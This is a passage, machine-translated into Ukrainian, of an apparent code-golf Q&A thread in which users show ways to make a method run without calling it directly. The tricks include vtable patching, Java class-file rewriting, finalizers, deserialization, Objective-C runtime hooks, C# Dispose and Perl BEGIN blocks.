    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Це працює, заміняючи функцію vptr's для двох Subs у vtable для класу.


Чувак, ти небезпечний ! Хороший!
Матьє Гіндон

Я б сказав, що це відповідає вимогам, тому що у VB6 / VBA метод є членом класу - інакше це процедура ;)
Матьє Гіндон

5

Хаскелл

У haskell, якщо ви робите:

main=putStrLn "This is the main action."

Він буде виконуватися негайно, не називаючи його ім'я, коли ви запустите його. Магія!


1
Haskell не рахується. Ви не можете викликати дію вводу-виводу, лише пов'язуйте на неї більше дій IO або призначте її десь
Джон Дворак

Це рівнозначне поняття для дій вводу-виводу.
PyRulez

5

Javascript

Просто, просто використовуйте on___події в JS. Наприклад:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Інша відповідь java від мене. Як ви бачите в коді, він безпосередньо викликає theCalledMethod, але notCalledMethodзамість цього виконується метод .

Отже, зрештою, я роблю 2 речі:

  • Виклик методу без його виклику.
  • Не викликає метод, викликаючи його.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Запуск:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Це залежить від платформи. Зокрема, це, швидше за все, не вдасться в OS X, де кодування символів платформи за замовчуванням - UTF-8.
ntoskrnl

@ntoskrnl Це слід легко виправити, якщо ви передасте ім'я кодування як параметр getBytes()методу, увімкнувши його getBytes("UTF-8"). Оскільки у мене немає ОС X, чи можете ви перевірити, чи працює це?
Віктор Стафуса

UTF-8 не працює для двійкових даних. Однобайтове кодування, як ISO-8859-1, повинно працювати, але поводження з бінарними даними як рядком все ще неправильне.
ntoskrnl

3
@ntoskrnl Насправді, зґвалтувати класичні файли за те, що я роблю тут, це неправильно, кодування - найменша з проблем. :)
Віктор Стафуса

4

Пітон

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

Так, збирання сміття!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Версія для тих, хто неминуче скаже, що System.gc()це ненадійно:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Ціль-С

(Мабуть, лише якщо їх компілювали з clang на Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Цей код використовує кілька хитрощів, щоб дістатися до невикористаної функції. По-перше, це значення 0x2A27. Це помічений покажчик для цілого числа 42, який кодує значення вказівника, щоб уникнути виділення об'єкта.

Далі є MyClass. Він ніколи не використовується, але час виконання викликає +loadметод під час його завантаження main. Це динамічно створює та реєструє новий клас, використовуючи NSValueяк його суперклас. Він також додає +loadметод для цього класу, використовуючи MyClass's -unusedMethodяк реалізацію. Після реєстрації він викликає метод завантаження нового класу (чомусь його не викликають автоматично).

Оскільки метод завантаження нового класу використовує таку ж реалізацію unusedMethod, що і ефективно називається. Він приймає суперклас сам по собі і додає unusedFunctionяк реалізацію doesNotRecognizeSelector:методу цього класу . Спочатку цей метод був методом екземпляра MyClass, але називається методом класу для нового класу, selfяк і об'єкт нового класу. Тому суперклас є NSValue, що також є суперкласом NSNumber.

Нарешті, mainбігає. Він приймає значення вказівника і вставляє його в NSString *змінну ( __bridgeі перший склад, щоб void *дозволити використовувати це з ARC або без нього). Потім він намагається викликати stringByAppendingString:цю змінну. Оскільки це насправді число, яке не реалізує цей метод, doesNotRecognizeSelector:замість цього називається метод, який переміщається через ієрархію класів до місця, NSValueде він реалізований за допомогою unusedFunction.


Примітка: несумісність з іншими системами пояснюється використанням тегів, які, на мою думку, не були реалізовані іншими реалізаціями. Якщо це було замінено на звичайно створене число, решта коду повинна спрацьовувати нормально.


Гм, спробуйте з ciruZ 'ObjFW , це досить пристойний час і рамки Objective-C, можливо, це, або щось близьке, теж буде працювати з ним ;-)
mirabilos

@mirabilos Єдина несумісність у ньому - це 0x2A27значення, тому я просто не знаю, чи реалізовано це деінде. ObjFW, безумовно, цікава, хоча.
ughoavgfhw


@Bryan Дякую! Я шукав саме цю статтю і не міг пригадати належну назву.
ughoavgfhw

@BryanChen ах гаразд. ughoavgfhw: Звичайно, ви просто хотіли вказати на альтернативний час виконання, якщо ви хочете грати з ним.
mirabilos

3

Javascript

Я відчуваю, що це явно не виглядає, як це викликає функцію

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Досить кордон, якщо ви запитаєте мене.
Коул Джонсон

@ColeJohnson Я думаю, він уже перетнув це ...
Томаш

3

C # (через using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Я користуюся особливістю серіалізації Java. readObjectМетод викликається , коли об'єкт десеріалізациі, але це не так прямо і називається - не мій код, ні бібліотеки десеріалізациі. Якщо ви копаєтеся вглиб джерела, ви побачите, що на низькому рівні метод внутрішньо викликається через рефлексію.


так; серіалізація дозволяє досить кумедні жарти :); btw theres подібні способи в інших лоб серіалізації для Java
masterX244

3

Perl

Це так просто. Код нижче автоматично запускає код у підпрограмі, навіть без явного виклику.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Навіть якщо ви відмените цей виклик, він все одно буде зателефонований лише один раз.


як? не можу відстати від магії +
masterX244
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.